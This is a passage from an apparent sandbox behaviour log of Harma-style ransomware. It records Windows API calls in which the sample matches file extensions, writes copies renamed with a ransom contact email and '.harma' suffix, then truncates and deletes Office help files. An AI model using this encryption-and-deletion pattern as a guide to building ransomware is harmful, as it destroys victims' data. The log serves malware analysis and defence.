returned 1 [0159.792] lstrlenW (lpString=".xlsx") returned 5 [0159.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.792] lstrlenW (lpString=".ppt") returned 4 [0159.792] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString=".zip") returned 4 [0159.792] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.792] lstrlenW (lpString=".rar") returned 4 [0159.792] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.792] lstrlenW (lpString=".bz2") returned 4 [0159.792] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.792] lstrlenW (lpString=".7z") returned 3 [0159.792] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString=".dbf") returned 4 [0159.792] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString=".1cd") returned 4 [0159.792] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString=".jpg") returned 4 [0159.792] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString=".doc") returned 4 [0159.793] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.793] lstrlenW (lpString=".docx") returned 5 [0159.793] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.793] lstrlenW (lpString=".pdf") returned 4 [0159.793] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString=".xls") returned 4 [0159.793] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString=".xlsx") returned 5 [0159.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.793] lstrlenW (lpString=".ppt") returned 4 [0159.793] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString=".zip") returned 4 [0159.793] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString=".rar") returned 4 [0159.793] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.793] lstrlenW (lpString=".bz2") returned 4 [0159.793] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.793] lstrlenW (lpString=".7z") returned 3 [0159.793] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString=".dbf") returned 4 [0159.793] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString=".1cd") returned 4 [0159.793] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.793] lstrlenW (lpString=".jpg") returned 4 [0159.793] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.794] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0159.794] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0159.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.794] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=208) returned 1 [0159.794] CloseHandle (hObject=0x214) returned 1 [0159.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 0x20 [0159.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.795] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.795] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0159.795] GetLastError () returned 0x0 [0159.795] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xd0, lpOverlapped=0x0) returned 1 [0159.796] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0159.797] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.797] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0159.797] SetEndOfFile (hFile=0x218) returned 1 [0159.798] CloseHandle (hObject=0x218) returned 1 [0159.798] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.798] SetEndOfFile (hFile=0x214) returned 1 [0159.800] CloseHandle (hObject=0x214) returned 1 [0159.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 1 [0159.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.801] lstrlenW (lpString=".doc") returned 4 [0159.801] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.801] lstrlenW (lpString=".docx") returned 5 [0159.801] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.801] lstrlenW (lpString=".pdf") returned 4 [0159.801] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.801] lstrlenW (lpString=".xls") returned 4 [0159.801] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.801] lstrlenW (lpString=".xlsx") returned 5 [0159.801] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.801] lstrlenW (lpString=".ppt") returned 4 [0159.801] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.801] lstrlenW (lpString=".zip") returned 4 [0159.801] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString=".rar") returned 4 [0159.802] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString=".bz2") returned 4 [0159.802] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.802] lstrlenW (lpString=".7z") returned 3 [0159.802] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString=".dbf") returned 4 [0159.802] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString=".1cd") returned 4 [0159.802] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString=".jpg") returned 4 [0159.802] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString=".doc") returned 4 [0159.802] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.802] lstrlenW (lpString=".docx") returned 5 [0159.802] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.802] lstrlenW (lpString=".pdf") returned 4 [0159.802] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString=".xls") returned 4 [0159.802] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString=".xlsx") returned 5 [0159.802] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.802] lstrlenW (lpString=".ppt") returned 4 [0159.802] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.802] lstrlenW (lpString=".zip") returned 4 [0159.803] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.803] lstrlenW (lpString=".rar") returned 4 [0159.803] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.803] lstrlenW (lpString=".bz2") returned 4 [0159.803] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.803] lstrlenW (lpString=".7z") returned 3 [0159.803] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.803] lstrlenW (lpString=".dbf") returned 4 [0159.803] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.803] lstrlenW (lpString=".1cd") returned 4 [0159.803] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0159.803] lstrlenW (lpString=".jpg") returned 4 [0159.803] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.803] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.803] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0159.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.804] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0159.804] CloseHandle (hObject=0x214) returned 1 [0159.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20 [0159.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.804] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.804] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0159.805] GetLastError () returned 0x0 [0159.805] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0159.806] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.807] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.807] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0159.807] SetEndOfFile (hFile=0x218) returned 1 [0159.807] CloseHandle (hObject=0x218) returned 1 [0159.807] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.807] SetEndOfFile (hFile=0x214) returned 1 [0159.810] CloseHandle (hObject=0x214) returned 1 [0159.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 1 [0159.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.811] lstrlenW (lpString=".doc") returned 4 [0159.811] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.811] lstrlenW (lpString=".docx") returned 5 [0159.811] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.811] lstrlenW (lpString=".pdf") returned 4 [0159.811] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.811] lstrlenW (lpString=".xls") returned 4 [0159.811] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.811] lstrlenW (lpString=".xlsx") returned 5 [0159.811] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.811] lstrlenW (lpString=".ppt") returned 4 [0159.811] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.811] lstrlenW (lpString=".zip") returned 4 [0159.811] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.811] lstrlenW (lpString=".rar") returned 4 [0159.811] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.811] lstrlenW (lpString=".bz2") returned 4 [0159.811] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.811] lstrlenW (lpString=".7z") returned 3 [0159.811] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.811] lstrlenW (lpString=".dbf") returned 4 [0159.811] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.811] lstrlenW (lpString=".1cd") returned 4 [0159.811] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString=".jpg") returned 4 [0159.812] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString=".doc") returned 4 [0159.812] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.812] lstrlenW (lpString=".docx") returned 5 [0159.812] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.812] lstrlenW (lpString=".pdf") returned 4 [0159.812] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString=".xls") returned 4 [0159.812] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString=".xlsx") returned 5 [0159.812] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.812] lstrlenW (lpString=".ppt") returned 4 [0159.812] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString=".zip") returned 4 [0159.812] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString=".rar") returned 4 [0159.812] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.812] lstrlenW (lpString=".bz2") returned 4 [0159.812] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.812] lstrlenW (lpString=".7z") returned 3 [0159.812] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString=".dbf") returned 4 [0159.812] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.812] lstrlenW (lpString=".1cd") returned 4 [0159.813] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0159.813] lstrlenW (lpString=".jpg") returned 4 [0159.813] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.813] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.813] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0159.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.814] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0159.814] CloseHandle (hObject=0x214) returned 1 [0159.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20 [0159.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.815] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.815] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0159.815] GetLastError () returned 0x0 [0159.815] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0159.816] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.817] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.817] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0159.817] SetEndOfFile (hFile=0x218) returned 1 [0159.817] CloseHandle (hObject=0x218) returned 1 [0159.817] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.818] SetEndOfFile (hFile=0x214) returned 1 [0159.820] CloseHandle (hObject=0x214) returned 1 [0159.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 1 [0160.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.167] lstrlenW (lpString=".doc") returned 4 [0160.167] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0160.167] lstrlenW (lpString=".docx") returned 5 [0160.167] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0160.167] lstrlenW (lpString=".pdf") returned 4 [0160.167] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0160.167] lstrlenW (lpString=".xls") returned 4 [0160.167] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0160.167] lstrlenW (lpString=".xlsx") returned 5 [0160.195] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0160.195] lstrlenW (lpString=".ppt") returned 4 [0160.195] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0160.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0160.195] lstrlenW (lpString=".zip") returned 4 [0160.207] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0160.207] lstrlenW (lpString=".rar") returned 4 [0160.207] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0160.207] lstrlenW (lpString=".bz2") returned 4 [0160.207] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0160.207] lstrlenW (lpString=".7z") returned 3 [0160.207] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0160.207] lstrlenW (lpString="C:\\Program 